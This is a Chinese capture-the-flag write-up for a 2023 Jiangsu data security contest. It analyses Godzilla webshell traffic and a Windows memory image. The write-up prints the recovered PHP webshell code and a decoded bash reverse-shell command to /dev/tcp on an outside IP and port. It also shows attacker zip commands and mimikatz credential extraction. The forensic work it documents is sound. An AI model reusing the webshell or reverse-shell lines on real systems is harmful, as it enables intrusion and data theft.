2023江苏省第二届数据安全技能大赛决赛题

**1.**流量分析 -GozTraffic

  1. 黑客使用哥斯拉成功连接受害服务器并返回数据的时间是 _____________ 。(格式为 YYYY-MM-DD_HH:MM:SS

追踪tcp流,可以发现在67个流的里面有很多内容

这里有时间,这里需要注意如何解决哥斯拉流量的解码

打开cyberchef

经过url解码后,可以看到,是先需要url解码,然后字符反转再base64解码

复制这一部分

就可以看到执行的代码

|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| PHP @session_start(); @set_time_limit(0); @error_reporting(0); function encode(D,K){ for(i=0;i<strlen(D);i++) { c = K[i+1\&15\]; D[i\] = D[i\]\^c; } return D; } pass='oL@ns!@opaOiw'; payloadName='payload'; key='6cfcfe9b99c68a0a'; if (isset(_POST\[pass])){ data=encode(base64_decode(_POST[pass\]),key); if (isset(_SESSION\[payloadName])){ payload=encode(_SESSION[payloadName\],key); if (strpos(payload,"getBasicsInfo")===false){ payload=encode(payload,key); } eval(payload); echo substr(md5(pass.key),0,16); echo base64_encode(encode(@run(data),key)); echo substr(md5(pass.key),16); }else{ if (strpos(data,"getBasicsInfo")!==false){ _SESSION\[payloadName]=encode(data,key); } } } |

根据代码,返回的数据是拼接而来,第一部分是 16 字节的 md5,然后是encode 的数据,然后是 16 自己的md5

**2.**受害服务器的上游服务器 IPv6 地址是 _________________

解密第 67 流最下面的密文数据

|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| PHP import gzip def dec(c,key): p="" for i in range(len(c)): p += chr(ord(c[i])^ord(key[(i+1)&15])) return p cipher = b"fO1rZmU5Yjk5YEtsqkLCDne7iE3No89VJx0yixLpBdTJXjOGqU2tfxwj7qInvyAUEtT7CfoSDh7QJvm6I8f9zfNoJAIDHjncHL0Vr6LpypsL2oZS/z/xYA1aBPEbbhqJrsQcRaXfsUnLPzvqb27Y+d7aK7UYR0Li1izdxQ/TvMG/PWwhSrXfCXGFdyqvjIb1pe3fFdkdqQDjb0v3xU1XmuTvzMnKkSrO4EIT04yGYZIOpCZUytFAYOnLfPpBuPIey/ULs9NwqS9Oaju72mswqHZhS/yobzO1J22xpB0Tlm+Sgdm+w2LVw3ykQCnm+VNqssJp8dadPH9O9MT1gh4cDPM7bePNdekG64HJTtc8y2Ox0LMEdPxOMN7I0G5kSsVmBpMRfCn6C5T97o9VWzp2RbcWIM3rqBSpjIZ8IlYIsnrx7HmwFZ5wi2XTQR14nJJU4P7PM4Y7pvevKjVdhaKItcNYK52nQz2mjXyxRqabEM/yDB/PQzTJv9onHAEYhwckZjd7yucx+w5a+ubvB2YJKRI/FCWmscTPPYMCebpckooUTHY/E4FvvJ40/MKCmR2dHls3e8ponKmqEavX/bA7ermcqyFpvUpO4HD2Cckjv7uDaPnw3ob+VwipTW1SU7dLjoD9p14XRxJWJXMN9Cu7Q9zZENsAbif7lgscBzEz/Kov9Ok3oL7edfIRgcVBPBzPW4WshuzzxCLkucS2+H9z2GaLm52yNXIjNCMmFlhBiOEaNWQoZH3gMOzcp7ZqXrz4wR7sYLgQuCl4rFW14K4hG+Fbsay9KJ27gPOrYVwI2iYEa0PkdN8wNs9lGzu1gPc4/kMls1rh52m63kbajPh6geBGa0e1WnK+yrrU3rIC2gmjKynJ+QUQQM+gH8RkcoUAr3yRD09xupGngrBi5/ESUbIHZlBTn6GDP6HK6xD7B85+Lj+zZ52kjESwOu8i74Bwamrk0cn+z+zBu9Yb0iab1XBTRKoOHD0JrtX1R3oV0J7vi9pahwsd/e5MNEt9X01KbbxUPtn4LuDZH61ZvBhT8ICM0XH5pgq2eAFI/mRbWgA9pih/ot9Grf9GIYIC75cGJzfuSScjGg5Fcy6WqrsANDiT4C+de19P/uWRX0H/eYuVuv5vCQYYJrpOpwHI7nORbdeXjhsrn/kpVuy9L/n3QOVHID0j/af4LofMy71Ov8M8O9gdlWhjvfIgyTmAE3+PgmNjZg==" from base64 import * gg = dec(b64decode(cipher).decode("latin1"),"6cfcfe9b99c68a0a") print(gzip.decompress(gg.encode("latin1")).decode()) |

|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| PHP OsInfo : Linux ctmd 6.2.0-32-generic #32~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 18 10:40:13 UTC 2 x86_64 CurrentUser : www REMOTE_ADDR : fd15:4ba5:5a2b:1008:20c:29ff:fe57:a107 REMOTE_PORT : 33928 HTTP_X_FORWARDED_FOR : fd15:4ba5:5a2b:1008:f581:619a:b163:c627 HTTP_CLIENT_IP : SERVER_ADDR : fd15:4ba5:5a2b:1008:60b9:ff63:528e:149d SERVER_NAME : tp6.0.1.com SERVER_PORT : 32154 disable_functions : Open_basedir : timezone : PRC encode : extension_dir : /www/server/php/81/lib/php/extensions/no-debug-non-zts-20210902 systempdir : /tmp/ include_path : .: DOCUMENT_ROOT : /www/wwwroot/32154/tp/public PHP_SAPI : fpm-fcgi PHP_VERSION : 8.1.17 PHP_INT_SIZE : 8 ProcessArch : x64 PHP_OS : Linux canCallGzipDecode : 1 canCallGzipEncode : 1 session_name : PHPSESSID session_save_path : session_save_handler : files session_serialize_handler : php user_ini_filename : .user.ini memory_limit : 128M upload_max_filesize : 50M post_max_size : 50M max_execution_time : 0 max_input_time : 60 default_socket_timeout : 60 mygid : 1001 mypid : 81435 SERVER_SOFTWAREypid : nginx/1.22.1 loaded_extensions : Core,date,libxml,openssl,pcre,sqlite3,zlib,bcmath,ctype,curl,dom,filter,ftp,gd,gettext,hash,iconv,intl,json,mbstring,SPL,session,pcntl,standard,mysqlnd,PDO,pdo_mysql,pdo_sqlite,Phar,posix,Reflection,mysqli,shmop,SimpleXML,soap,sockets,sodium,sysvsem,tokenizer,xml,xmlreader,xmlwriter,cgi-fcgi,zip short_open_tag : true asp_tags : false safe_mode : false CurrentDir : /www/wwwroot/32154/tp/public FileRoot : / |

三个 ipv6 都试了一下,好像是:fd15:4ba5:5a2b:1008:60b9:ff63:528e:149d

**3.**黑客对受害服务器上的敏感文件进行打包操作,请问该压缩包密码是 ___________

在 57 流能够看到一段base64

去除http,进行解码

|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| PHP <?php function customEncrypt(data, key) { key = md5(key); iv = random_bytes(16); encryptedData = openssl_encrypt(data, 'aes-256-cbc', key, OPENSSL_RAW_DATA, iv); result = base64_encode(iv . encryptedData); return $result; } |

解密后是一段php 的 aes 加密。

|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| PHP data: 需要被加密的原始数据(明文)。 key: 加密与解密过程中使用的密钥。 函数步骤 密钥处理: 使用 md5() 函数对提供的 key 进行哈希处理。这一步是为了确保密钥的长度和格式满足后续加密算法的要求。MD5 的输出是一个固定长度的字符串,通常用于加密算法中作为密钥。 生成初始化向量: 调用 random_bytes(16) 来生成一个随机的初始化向量(IV),长度为 16 字节。初始化向量在加密算法中用于增加加密过程的随机性,防止相同明文产生相同的密文,从而提高安全性。 数据加密: 利用 openssl_encrypt() 函数对 data 进行加密。这里使用的是 AES-256-CBC 算法,这是一种广泛认可的安全加密标准。参数说明如下: 第一个参数是待加密的明文 data。 第二个参数是加密算法名称 'aes-256-cbc'。 第三个参数是经过 MD5 处理的 key。 第四个参数 OPENSSL_RAW_DATA 表示使用原始数据模式。 第五个参数是前面生成的初始化向量 iv。 结果是加密后的数据 encryptedData。 结果编码: 将 iv 和 encryptedData 连接在一起,然后使用 base64_encode() 函数进行编码。Base64 编码是一种将二进制数据转换为文本字符串的编码方式,便于在网络上传输或存储在文本文件中而不丢失信息。 返回结果: 最后,函数返回编码后的字符串 $result,即最终的加密数据。 总结 customEncrypt 函数通过一系列安全措施(如使用 MD5 哈希、随机 IV 和 AES-256-CBC 加密算法)来加密数据,然后通过 Base64 编码确保加密结果可以安全地在网络上传输或存储。这种加密方法可以有效地保护数据免受未经授权的访问和篡改 |

但是我们没key啊?预期解是++让我们爆,,++ ++key++ ++的长度是++ ++5++ ++个字符,并且是十六进制字符,很难崩++ ,爆出来的密钥是 61c42

找到第23流的数据

|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| PHP from base64 import * cc = b64decode("jiVOhckW3Dp9ePlm2iuyBWBHWNlDxWbTlAqPt+JLIa8s3+vJZlcVIHKETqbIknErPCkevvm3heHFI5Vc5W8Wby8+W+6hfhjM/i0XyxsbIZVj5QyHQ4isWlekCszQlevGH8SlxjvfIRcbMxdUXREI/EWGiZKdFL81U80x7V9em+MJ4KsScq0bgnJ98yq1nMcl") c = cc[16:] iv = cc[:16] key = b'a5a74e2ab431761ecb2299ef88d46a38' from Crypto.Cipher import AES enc = AES.new(iv=iv,key=key,mode=AES.MODE_CBC) print(enc.decrypt(c)) #b'system(\'zip -q -r -P "SN@jSoiueFIEZSIDJ" /www/wwwroot/32154/tp/public/flag.zip /www/wwwroot/32154/tp/public/db/dumpfile.sql\');\x02\x02' |

**4.**黑客留下的后门 IP 地址和端口号是 ________________ 。(格式为 IP_PORT

解密tcp 76流的流量,

|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| PHP import gzip def dec(c,key): p="" for i in range(len(c)): p += chr(ord(c[i])^ord(key[(i+1)&15])) return p cipher = b"fO1rZmU5Yjk5YGVutX+r+rApKUqr2WAoM9n/MouZdJ+qbHM4w7v4pEcpXKEfeRO33cfC7/uQ/Jin8peZ37nwh/LH4ev/mFg5tEnbaCIwYTY=" from base64 import * gg = dec(b64decode(cipher).decode("latin1"),"6cfcfe9b99c68a0a") print(gzip.decompress(gg.encode("latin1")).decode()) #bash -c 'exec bash -i &>/dev/tcp/114.5.1.211/42321 <&1' |

**5.**受害服务器上的中间件、中间件版本、 PHP 版本、框架名以及对应版本为 ___________ 。(格式为:中间件 : 中间件版本 _PHP 版本 _ 框架名 : 框架版本,如 tomcat:9.0.0_5.4.0_yii:2.38.0

根据第二题的信息,我们知道中间件的版本是 nginx/1.22.1;php的版本是 8.1.17,但是不知道 thinkphp 的版本

和第三小题一样,不过密钥又换了 ,这回是 '23b4d'

|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| PHP from base64 import * from hashlib import md5 cc = b64decode("4Q77JutsR+DCTQEDptU6aUvtVVu5h+F+mIHcSE3jJl9hnjPSnBapKdxNNJ3i0Qgr") from Crypto.Cipher import AES c = cc[16:] iv = cc[:16] for i in range(1048575): key = md5(hex(i)[2:].rjust(5,'0').encode()).hexdigest().encode() #key = b'a5a74e2ab431761ecb2299ef88d46a38' #key = b'1d77b220bdf94d38007e3e6e9c380588' enc = AES.new(iv=iv,key=key,mode=AES.MODE_CBC) res = enc.decrypt(c) if res[-1]==res[-2]==res[-3]: print(res,hex(i)) |

找到 version.zip 的密码

|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| PHP from base64 import * from hashlib import md5 cc = b64decode("WsclGnueTdLgsUSeNeoqvUouMsABv70pjjt+0cUFsLQMlEkgUVXIZV4cyshI0Z5aGXQ4ZNefWX37rbR88Im2Qp5j08fnwXj9st8vV2cdhfODV24X0iL5V5aR0pB+eRiNE+oDRLAQBxR2UBcnjCk/inupvIHpSzD9Ug1GhtFGdMW/SeF0+s6LCaeRSqvoggeF") from Crypto.Cipher import AES c = cc[16:] iv = cc[:16] key = b'1d77b220bdf94d38007e3e6e9c380588' enc = AES.new(iv=iv,key=key,mode=AES.MODE_CBC) res = enc.decrypt(c) print(res) # b'system("zip -q -r -P "MS1209D@IOEJabnsdIUJEOI@" /www/wwwroot/32154/tp/public/version.zip /www/wwwroot/32154/tp/composer.json");\x01' |

8604数据包拿到 version.zip

所以 flag:nginx:1.22.1_8.1.17_thinkphp:6.0.12

(比赛的时候根本没人能想到这么脑洞的加密方式,因此与压缩包密码相关的两题也都没人能做出来)

**2.**内存取证 -MemoryLife

**1.**请给出内存镜像中黑客使用工具对外连接的 IP 地址及端口号是 ___________ 。(格式为 IP_PORT

先看一下系统的信息

|----------------------------------------|
| PHP vol.py -f MemoryLife.raw imageinfo |

|-----------------------------------------------------------|
| PHP vol.py -f MemoryLife.raw --profile=Win7SP1x64 netscan |

找到一个nc.exe 外连192.168.233.1_54266

**2.**请给出内存镜像中用户 BGS-Chenyi 的开机密码 ___________

使用工具 Passware Kit Forensic

得到密码:abc123456

方法2:使用vol中的插件mimikatz破解

  • 安装必要的库,mimikztz是python2环境的,双环境地话windows下的话可能不太好安装,最好再linux中进行

|----------------------------|
| PHP pip2 install construct |

用pip2的原因就是要装在python2的环境下,如果装到了python3的环境下,会报错

|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 其次运行plugins需要安装一下依赖 sudo -H pip install distorm3 pycrypto openpyxl Pillow sudo apt-get install yara PS:如果仍然报错yara有问题,可以尝试连接yara的so文件到系统 ln -s /usr/local/lib/python2.7/dist-packages/usr/lib/libyara.so /usr/lib/libyara.so |

. 有些 github 上的 mimikatz.py 有点问题 没办法使用

下面这个可以:https://github.com/RealityNet/hotoloti/tree/master

|-----------------------------------------------------------------------------------------------------------------|
| PHP vol.py --plugins=/root/CTF-tools/volatility-2.6.1/volatility/plugins -f 1.raw --profile=Win7SP1x64 mimikatz |

虽然没有破解出来,但是的确在破解

**3.**黑客工具里的 LOGONSERVER 环境变量值是 ___________

这里的黑客工具应该就是指的是第一题中的nc.exe,把它dump下来

|----------------------------------------------------------|
| PHP vol.py -f MemoryLife.raw --profile=Win7SP1x64 pslist |

|-------------------------------------------------------------------------|
| PHP vol.py -f MemoryLife.raw --profile=Win7SP1x64 memdump -p 3036 -D ./ |

在执行命令的文件下可以找到这个文件,将文件拷贝出来放到010中进行查看,搜索关键词:LOGONSERVER

找到对应的内容:\BGS-CHENYJ-PC

**4.**请给出内存镜像中屏幕里的内容 ___________

当下载屏幕截图的时候发现只有一张图,但也没有实际价值

|----------------------------------------------------------------------------|
| PHP vol.py -f MemoryLife.raw --profile=Win7SP1x64 screenshot --dump-dir ./ |

查看进程信息,发现了一个mspaint,dump 下 mspaint.exe

|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| MSPaint 通常指的是"Microsoft Paint",即微软画图。 它是 Windows 操作系统自带的一款简单的图像编辑软件。 Microsoft Paint 具有一些基本的绘图和图像编辑功能,比如绘制线条、形状、填充颜色,以及裁剪、缩放、翻转图像等操作。对于一些简单的图像创作和修改需求,它可以提供快速而直接的解决方案。 例如,用户可以用它来快速为图片添加注释、标记重点,或者绘制简单的草图、图标等。然而,与专业的图像编辑软件如 Adobe Photoshop 相比,MSPaint 的功能相对较为有限,但正因如此,它易于上手,对电脑配置要求低,适合那些不需要复杂图像处理的用户使用。 |

|-------------------------------------------------------------------------|
| PHP vol.py -f MemoryLife.raw --profile=Win7SP1x64 memdump -p 4312 -D ./ |

要把后缀改成.data才能导入到gimp,在宽度为576的时候可以看到有字符,是倒立的,镜像+旋转就正常了

gimp直接官网下载一步步安装即可

注意此处参数的设置,不要出错

旋转一下,gydk5sp

5.请给出wps.ini最后的修改时间_____________。(格式为YYYY-MM-DD_hh:mm:ss_+0000)

恢复被删除的文件,也可以用来查看被修改的文件,东西很多把关于 wps 的过滤出来

2023-09-19_03:31:27_+0000

附件获取:
链接:https://pan.quark.cn/s/213f530d5182
提取码:VNwc

相关推荐
用户9623779544818 小时前
VulnHub DC-3 靶机渗透测试笔记
安全
叶落阁主2 天前
Tailscale 完全指南:从入门到私有 DERP 部署
运维·安全·远程工作
用户962377954484 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机4 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机4 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954484 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star4 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954484 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher6 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行9 天前
网络安全总结
安全·web安全